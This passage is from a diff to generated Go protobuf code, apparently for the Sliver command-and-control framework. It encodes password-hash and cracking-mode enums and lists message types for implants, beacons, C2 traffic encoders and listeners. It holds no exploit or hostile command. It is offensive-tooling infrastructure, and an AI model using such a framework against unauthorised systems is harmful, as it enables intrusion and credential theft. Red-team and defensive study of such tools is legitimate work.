0x56, 0x41, 0x5f, 0x4f, 0x42, 0x4a, 0x45, 0x43, 0x54, 0x10, 0x8c, 0x92, 0x01, + 0x12, 0x0c, 0x0a, 0x06, 0x4d, 0x55, 0x52, 0x4d, 0x55, 0x52, 0x10, 0xe4, 0xc8, 0x01, 0x12, 0x0d, + 0x0a, 0x07, 0x4d, 0x55, 0x52, 0x4d, 0x55, 0x52, 0x33, 0x10, 0x98, 0xd9, 0x01, 0x12, 0x0e, 0x0a, + 0x09, 0x54, 0x48, 0x52, 0x45, 0x45, 0x5f, 0x44, 0x45, 0x53, 0x10, 0x94, 0x6e, 0x12, 0x08, 0x0a, + 0x03, 0x44, 0x45, 0x53, 0x10, 0xb0, 0x6d, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x31, + 0x32, 0x38, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa1, 0xce, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, + 0x53, 0x5f, 0x31, 0x39, 0x32, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa2, 0xce, 0x01, 0x12, 0x11, 0x0a, + 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x32, 0x35, 0x36, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa3, 0xce, 0x01, + 0x12, 0x0f, 0x0a, 0x0a, 0x43, 0x48, 0x41, 0x5f, 0x43, 0x48, 0x41, 0x5f, 0x32, 0x30, 0x10, 0xa8, + 0x78, 0x12, 0x1f, 0x0a, 0x1a, 0x4c, 0x49, 0x4e, 0x55, 0x58, 0x5f, 0x4b, 0x45, 0x52, 0x4e, 0x45, + 0x4c, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x4f, 0x5f, 0x41, 0x50, 0x49, 0x5f, 0x32, 0x34, 0x10, + 0xa4, 0x71, 0x12, 0x0c, 0x0a, 0x07, 0x53, 0x4b, 0x49, 0x50, 0x5f, 0x33, 0x32, 0x10, 0xb4, 0x74, + 0x12, 0x14, 0x0a, 0x0f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, + 0x4d, 0x44, 0x35, 0x10, 0xfc, 0x5c, 0x12, 0x15, 0x0a, 0x10, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, + 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0xe0, 0x5d, 0x12, 0x17, 0x0a, + 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, + 0x32, 0x35, 0x36, 0x10, 0x94, 0x55, 0x12, 0x17, 0x0a, 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, + 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xc4, 0x5e, 0x12, + 0x0b, 0x0a, 0x06, 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xc4, 0x45, 0x12, 0x0b, 0x0a, 0x06, + 0x50, 0x48, 0x50, 0x41, 0x53, 0x53, 0x10, 0x90, 0x03, 0x12, 0x10, 0x0a, 0x0b, 0x54, 0x41, 0x43, + 0x41, 0x43, 0x53, 0x5f, 0x50, 0x4c, 0x55, 0x53, 0x10, 0xe4, 0x7d, 0x12, 0x0f, 0x0a, 0x0a, 0x53, + 0x49, 0x50, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x88, 0x59, 0x12, 0x0c, 0x0a, 0x07, + 0x49, 0x4b, 0x45, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xb4, 0x29, 0x12, 0x0d, 0x0a, 0x08, 0x49, 0x4b, + 0x45, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0x98, 0x2a, 0x12, 0x19, 0x0a, 0x13, 0x53, 0x4e, 0x4d, + 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x39, 0x36, + 0x10, 0x8c, 0xc4, 0x01, 0x12, 0x22, 0x0a, 0x1c, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, + 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x39, 0x36, 0x5f, 0x5f, 0x53, 0x48, 0x41, + 0x31, 0x5f, 0x39, 0x36, 0x10, 0xa8, 0xc3, 0x01, 0x12, 0x1a, 0x0a, 0x14, 0x53, 0x4e, 0x4d, 0x50, + 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x39, 0x36, + 0x10, 0xf0, 0xc4, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, + 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x32, 0x34, 0x5f, 0x31, 0x32, 0x38, 0x10, + 0xcc, 0xd0, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, + 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x5f, 0x31, 0x39, 0x32, 0x10, 0xb0, + 0xd1, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, + 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x33, 0x38, 0x34, 0x5f, 0x32, 0x35, 0x36, 0x10, 0x94, 0xd2, + 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, + 0x43, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xa4, 0xd5, 0x01, + 0x12, 0x15, 0x0a, 0x10, 0x57, 0x50, 0x41, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, 0x42, + 0x4b, 0x44, 0x46, 0x32, 0x10, 0xc4, 0x13, 0x12, 0x12, 0x0a, 0x0d, 0x57, 0x50, 0x41, 0x5f, 0x45, + 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, 0x4d, 0x4b, 0x10, 0xc5, 0x13, 0x12, 0x1c, 0x0a, 0x16, 0x57, + 0x50, 0x41, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, + 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x10, 0xf0, 0xab, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x57, 0x50, 0x41, + 0x5f, 0x50, 0x4d, 0x4b, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, + 0x10, 0xf1, 0xab, 0x01, 0x12, 0x16, 0x0a, 0x10, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x49, + 0x44, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x10, 0xa0, 0x83, 0x01, 0x12, 0x13, 0x0a, 0x0d, + 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x50, 0x4d, 0x4b, 0x10, 0xa1, 0x83, + 0x01, 0x12, 0x19, 0x0a, 0x14, 0x49, 0x50, 0x4d, 0x49, 0x32, 0x5f, 0x50, 0x41, 0x4b, 0x50, 0x5f, + 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0x84, 0x39, 0x12, 0x0d, 0x0a, 0x08, + 0x43, 0x52, 0x41, 0x4d, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xd8, 0x4f, 0x12, 0x09, 0x0a, 0x03, 0x4a, + 0x57, 0x54, 0x10, 0xf4, 0x80, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x52, 0x41, 0x44, 0x4d, 0x49, 0x4e, + 0x5f, 0x33, 0x10, 0x90, 0xe4, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, + 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0x90, 0x99, + 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, + 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xd8, 0x9a, 0x01, 0x12, 0x14, 0x0a, 0x0e, + 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x44, 0x42, 0x10, 0x80, + 0xe1, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, + 0x38, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0xf4, 0x99, 0x01, 0x12, 0x19, 0x0a, + 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x50, 0x52, 0x45, + 0x41, 0x55, 0x54, 0x48, 0x10, 0xbc, 0x9b, 0x01, 0x12, 0x14, 0x0a, 0x0e, 0x4b, 0x45, 0x52, 0x42, + 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x44, 0x42, 0x10, 0xe4, 0xe1, 0x01, 0x12, 0x1f, + 0x0a, 0x1a, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x53, 0x41, + 0x5f, 0x52, 0x45, 0x51, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xcc, 0x3a, 0x12, + 0x18, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x54, + 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0xac, 0x66, 0x12, 0x18, 0x0a, 0x12, 0x4b, 0x45, 0x52, + 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x41, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, + 0x98, 0x8e, 0x01, 0x12, 0x10, 0x0a, 0x0b, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, + 0x56, 0x31, 0x10, 0xfc, 0x2a, 0x12, 0x14, 0x0a, 0x0e, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, + 0x4d, 0x5f, 0x56, 0x31, 0x5f, 0x4e, 0x54, 0x10, 0xf8, 0xd2, 0x01, 0x12, 0x10, 0x0a, 0x0b, 0x4e, + 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x32, 0x10, 0xe0, 0x2b, 0x12, 0x14, 0x0a, + 0x0e, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x32, 0x5f, 0x4e, 0x54, 0x10, + 0xdc, 0xd3, 0x01, 0x12, 0x0b, 0x0a, 0x05, 0x46, 0x4c, 0x41, 0x53, 0x4b, 0x10, 0xac, 0xe3, 0x01, + 0x12, 0x0f, 0x0a, 0x0a, 0x49, 0x53, 0x43, 0x53, 0x49, 0x5f, 0x43, 0x48, 0x41, 0x50, 0x10, 0xc0, + 0x25, 0x12, 0x09, 0x0a, 0x04, 0x52, 0x41, 0x43, 0x46, 0x10, 0xb4, 0x42, 0x12, 0x0d, 0x0a, 0x08, + 0x41, 0x49, 0x58, 0x5f, 0x53, 0x4d, 0x44, 0x35, 0x10, 0x9c, 0x31, 0x12, 0x0e, 0x0a, 0x09, 0x41, + 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x31, 0x10, 0xac, 0x34, 0x12, 0x10, 0x0a, 0x0b, 0x41, + 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x80, 0x32, 0x12, 0x10, 0x0a, + 0x0b, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xe4, 0x32, 0x12, + 0x07, 0x0a, 0x02, 0x4c, 0x4d, 0x10, 0xb8, 0x17, 0x12, 0x0d, 0x0a, 0x07, 0x51, 0x4e, 0x58, 0x5f, + 0x4d, 0x44, 0x35, 0x10, 0xb8, 0x94, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x51, 0x4e, 0x58, 0x5f, 0x53, + 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x9c, 0x95, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x51, 0x4e, 0x58, + 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0x80, 0x96, 0x01, 0x12, 0x19, 0x0a, 0x14, 0x44, + 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x31, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, 0x4e, + 0x44, 0x5f, 0x32, 0x10, 0xc4, 0x77, 0x12, 0x13, 0x0a, 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, + 0x56, 0x31, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x33, 0x10, 0xce, 0x77, 0x12, 0x19, 0x0a, 0x14, 0x44, + 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x32, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, 0x4e, + 0x44, 0x5f, 0x32, 0x10, 0x9c, 0x7c, 0x12, 0x13, 0x0a, 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, + 0x56, 0x32, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x33, 0x10, 0xa6, 0x7c, 0x12, 0x0b, 0x0a, 0x06, 0x47, + 0x52, 0x55, 0x42, 0x5f, 0x32, 0x10, 0xa0, 0x38, 0x12, 0x12, 0x0a, 0x0d, 0x4d, 0x53, 0x5f, 0x41, + 0x5a, 0x55, 0x52, 0x45, 0x5f, 0x53, 0x59, 0x4e, 0x43, 0x10, 0x80, 0x64, 0x12, 0x0f, 0x0a, 0x0a, + 0x42, 0x53, 0x44, 0x49, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xf0, 0x60, 0x12, 0x09, 0x0a, + 0x04, 0x4e, 0x54, 0x4c, 0x4d, 0x10, 0xe8, 0x07, 0x12, 0x0c, 0x0a, 0x07, 0x52, 0x41, 0x44, 0x4d, + 0x49, 0x4e, 0x32, 0x10, 0xac, 0x4d, 0x12, 0x14, 0x0a, 0x0f, 0x53, 0x41, 0x4d, 0x53, 0x55, 0x4e, + 0x47, 0x5f, 0x41, 0x4e, 0x44, 0x52, 0x4f, 0x49, 0x44, 0x10, 0xa8, 0x2d, 0x12, 0x17, 0x0a, 0x11, + 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, 0x53, 0x5f, 0x48, 0x45, 0x4c, 0x4c, 0x4f, 0x5f, 0x50, 0x49, + 0x4e, 0x10, 0xc4, 0xdb, 0x01, 0x12, 0x12, 0x0a, 0x0d, 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, 0x53, + 0x5f, 0x50, 0x48, 0x4f, 0x4e, 0x45, 0x10, 0xe8, 0x6b, 0x12, 0x12, 0x0a, 0x0d, 0x43, 0x49, 0x53, + 0x43, 0x4f, 0x5f, 0x41, 0x53, 0x41, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xea, 0x12, 0x12, 0x1c, 0x0a, + 0x17, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x49, 0x4f, 0x53, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, + 0x32, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0xf0, 0x47, 0x12, 0x15, 0x0a, 0x10, 0x43, + 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x49, 0x4f, 0x53, 0x5f, 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, + 0xd4, 0x48, 0x12, 0x12, 0x0a, 0x0d, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x50, 0x49, 0x58, 0x5f, + 0x4d, 0x44, 0x35, 0x10, 0xe0, 0x12, 0x12, 0x1a, 0x0a, 0x15, 0x43, 0x49, 0x54, 0x52, 0x49, 0x58, + 0x5f, 0x4e, 0x45, 0x54, 0x53, 0x43, 0x41, 0x4c, 0x45, 0x52, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, + 0xa4, 0x3f, 0x12, 0x1d, 0x0a, 0x17, 0x43, 0x49, 0x54, 0x52, 0x49, 0x58, 0x5f, 0x4e, 0x45, 0x54, + 0x53, 0x43, 0x41, 0x4c, 0x45, 0x52, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xb8, 0xad, + 0x01, 0x12, 0x08, 0x0a, 0x03, 0x44, 0x43, 0x43, 0x10, 0xcc, 0x08, 0x12, 0x09, 0x0a, 0x04, 0x44, + 0x43, 0x43, 0x32, 0x10, 0xb4, 0x10, 0x12, 0x0f, 0x0a, 0x0a, 0x4d, 0x41, 0x43, 0x4f, 0x53, 0x5f, + 0x31, 0x30, 0x5f, 0x38, 0x10, 0xbc, 0x37, 0x12, 0x0c, 0x0a, 0x07, 0x49, 0x4e, 0x56, 0x41, 0x4c, + 0x49, 0x44, 0x10, 0x8f, 0x4e, 0x12, 0x10, 0x0a, 0x0b, 0x42, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5f, + 0x55, 0x4e, 0x49, 0x58, 0x10, 0x80, 0x19, 0x12, 0x16, 0x0a, 0x11, 0x53, 0x48, 0x41, 0x35, 0x31, + 0x32, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5f, 0x55, 0x4e, 0x49, 0x58, 0x10, 0x88, 0x0e, 0x2a, + 0x32, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, 0x12, 0x08, 0x0a, 0x04, 0x49, 0x44, 0x4c, + 0x45, 0x10, 0x00, 0x12, 0x0c, 0x0a, 0x08, 0x43, 0x52, 0x41, 0x43, 0x4b, 0x49, 0x4e, 0x47, 0x10, + 0x01, 0x12, 0x10, 0x0a, 0x0c, 0x49, 0x4e, 0x49, 0x54, 0x49, 0x41, 0x4c, 0x49, 0x5a, 0x49, 0x4e, + 0x47, 0x10, 0x02, 0x2a, 0x3c, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x53, + 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x0f, 0x0a, 0x0b, 0x49, 0x4e, 0x5f, 0x50, 0x52, 0x4f, 0x47, + 0x52, 0x45, 0x53, 0x53, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x43, 0x4f, 0x4d, 0x50, 0x4c, 0x45, + 0x54, 0x45, 0x44, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x46, 0x41, 0x49, 0x4c, 0x45, 0x44, 0x10, + 0x02, 0x2a, 0x94, 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63, + 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x53, 0x54, 0x52, 0x41, 0x49, 0x47, 0x48, + 0x54, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x43, 0x4f, 0x4d, 0x42, 0x49, 0x4e, 0x41, 0x54, 0x49, + 0x4f, 0x4e, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x42, 0x52, 0x55, 0x54, 0x45, 0x46, 0x4f, 0x52, + 0x43, 0x45, 0x10, 0x03, 0x12, 0x18, 0x0a, 0x14, 0x48, 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, 0x57, + 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x5f, 0x4d, 0x41, 0x53, 0x4b, 0x10, 0x06, 0x12, 0x18, + 0x0a, 0x14, 0x48, 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, 0x4d, 0x41, 0x53, 0x4b, 0x5f, 0x57, 0x4f, + 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x10, 0x07, 0x12, 0x0f, 0x0a, 0x0b, 0x41, 0x53, 0x53, 0x4f, + 0x43, 0x49, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x10, 0x09, 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x4f, 0x5f, + 0x41, 0x54, 0x54, 0x41, 0x43, 0x4b, 0x10, 0x0a, 0x2a, 0x44, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x12, 0x14, 0x0a, 0x10, 0x49, 0x4e, 0x56, + 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x45, 0x4e, 0x43, 0x4f, 0x44, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, + 0x0f, 0x0a, 0x0b, 0x49, 0x53, 0x4f, 0x5f, 0x38, 0x38, 0x35, 0x39, 0x5f, 0x31, 0x35, 0x10, 0x01, + 0x12, 0x0c, 0x0a, 0x08, 0x55, 0x54, 0x46, 0x5f, 0x33, 0x32, 0x4c, 0x45, 0x10, 0x02, 0x2a, 0x90, + 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, + 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x12, 0x0a, 0x0e, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, + 0x5f, 0x46, 0x4f, 0x52, 0x4d, 0x41, 0x54, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x41, 0x53, + 0x48, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x50, 0x4c, 0x41, 0x49, + 0x4e, 0x10, 0x02, 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x45, 0x58, 0x5f, 0x50, 0x4c, 0x41, 0x49, 0x4e, + 0x10, 0x03, 0x12, 0x0d, 0x0a, 0x09, 0x43, 0x52, 0x41, 0x43, 0x4b, 0x5f, 0x50, 0x4f, 0x53, 0x10, + 0x04, 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49, 0x4d, 0x45, 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f, 0x41, + 0x42, 0x53, 0x4f, 0x4c, 0x55, 0x54, 0x45, 0x10, 0x05, 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49, 0x4d, + 0x45, 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f, 0x52, 0x45, 0x4c, 0x41, 0x54, 0x49, 0x56, 0x45, 0x10, + 0x06, 0x2a, 0x63, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, + 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x18, 0x49, 0x4e, 0x56, + 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x57, 0x4f, 0x52, 0x4b, 0x4c, 0x4f, 0x41, 0x44, 0x5f, 0x50, 0x52, + 0x4f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x07, 0x0a, 0x03, 0x4c, 0x4f, 0x57, 0x10, 0x01, + 0x12, 0x0b, 0x0a, 0x07, 0x44, 0x45, 0x46, 0x41, 0x55, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x08, 0x0a, + 0x04, 0x48, 0x49, 0x47, 0x48, 0x10, 0x03, 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x49, 0x47, 0x48, 0x54, + 0x4d, 0x41, 0x52, 0x45, 0x10, 0x04, 0x2a, 0x4e, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, + 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x10, 0x0a, 0x0c, 0x49, 0x4e, 0x56, 0x41, 0x4c, + 0x49, 0x44, 0x5f, 0x54, 0x59, 0x50, 0x45, 0x10, 0x00, 0x12, 0x0c, 0x0a, 0x08, 0x57, 0x4f, 0x52, + 0x44, 0x4c, 0x49, 0x53, 0x54, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x52, 0x55, 0x4c, 0x45, 0x53, + 0x10, 0x02, 0x12, 0x12, 0x0a, 0x0e, 0x4d, 0x41, 0x52, 0x4b, 0x4f, 0x56, 0x5f, 0x48, 0x43, 0x53, + 0x54, 0x41, 0x54, 0x32, 0x10, 0x03, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, + 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -12709,7 +13259,7 @@ func file_clientpb_client_proto_rawDescGZIP() []byte { } var file_clientpb_client_proto_enumTypes = make([]protoimpl.EnumInfo, 13) -var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 129) +var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 135) var file_clientpb_client_proto_goTypes = []interface{}{ (OutputFormat)(0), // 0: clientpb.OutputFormat (StageProtocol)(0), // 1: clientpb.StageProtocol @@ -12725,261 +13275,274 @@ var file_clientpb_client_proto_goTypes = []interface{}{ (CrackWorkloadProfile)(0), // 11: clientpb.CrackWorkloadProfile (CrackFileType)(0), // 12: clientpb.CrackFileType (*Version)(nil), // 13: clientpb.Version - (*ClientLogData)(nil), // 14: clientpb.ClientLogData - (*Session)(nil), // 15: clientpb.Session - (*Beacon)(nil), // 16: clientpb.Beacon - (*Beacons)(nil), // 17: clientpb.Beacons - (*BeaconTask)(nil), // 18: clientpb.BeaconTask - (*BeaconTasks)(nil), // 19: clientpb.BeaconTasks - (*ImplantC2)(nil), // 20: clientpb.ImplantC2 - (*ImplantConfig)(nil), // 21: clientpb.ImplantConfig - (*TrafficEncoder)(nil), // 22: clientpb.TrafficEncoder - (*TrafficEncoderMap)(nil), // 23: clientpb.TrafficEncoderMap - (*TrafficEncoderTest)(nil), // 24: clientpb.TrafficEncoderTest - (*TrafficEncoderTests)(nil), // 25: clientpb.TrafficEncoderTests - (*ExternalImplantConfig)(nil), // 26: clientpb.ExternalImplantConfig - (*ExternalImplantBinary)(nil), // 27: clientpb.ExternalImplantBinary - (*ImplantBuilds)(nil), // 28: clientpb.ImplantBuilds - (*ImplantStageReq)(nil), // 29: clientpb.ImplantStageReq - (*ImplantBuild)(nil), // 30: clientpb.ImplantBuild - (*CompilerTarget)(nil), // 31: clientpb.CompilerTarget - (*CrossCompiler)(nil), // 32: clientpb.CrossCompiler - (*Compiler)(nil), // 33: clientpb.Compiler - (*DeleteReq)(nil), // 34: clientpb.DeleteReq - (*DNSCanary)(nil), // 35: clientpb.DNSCanary - (*Canaries)(nil), // 36: clientpb.Canaries - (*UniqueWGIP)(nil), // 37: clientpb.UniqueWGIP - (*ImplantProfile)(nil), // 38: clientpb.ImplantProfile - (*ImplantProfiles)(nil), // 39: clientpb.ImplantProfiles - (*RegenerateReq)(nil), // 40: clientpb.RegenerateReq - (*Job)(nil), // 41: clientpb.Job - (*Jobs)(nil), // 42: clientpb.Jobs - (*KillJobReq)(nil), // 43: clientpb.KillJobReq - (*RestartJobReq)(nil), // 44: clientpb.RestartJobReq - (*KillJob)(nil), // 45: clientpb.KillJob - (*ListenerJob)(nil), // 46: clientpb.ListenerJob - (*MultiplayerListenerReq)(nil), // 47: clientpb.MultiplayerListenerReq - (*MTLSListenerReq)(nil), // 48: clientpb.MTLSListenerReq - (*WGListenerReq)(nil), // 49: clientpb.WGListenerReq - (*DNSListenerReq)(nil), // 50: clientpb.DNSListenerReq - (*HTTPListenerReq)(nil), // 51: clientpb.HTTPListenerReq - (*NamedPipesReq)(nil), // 52: clientpb.NamedPipesReq - 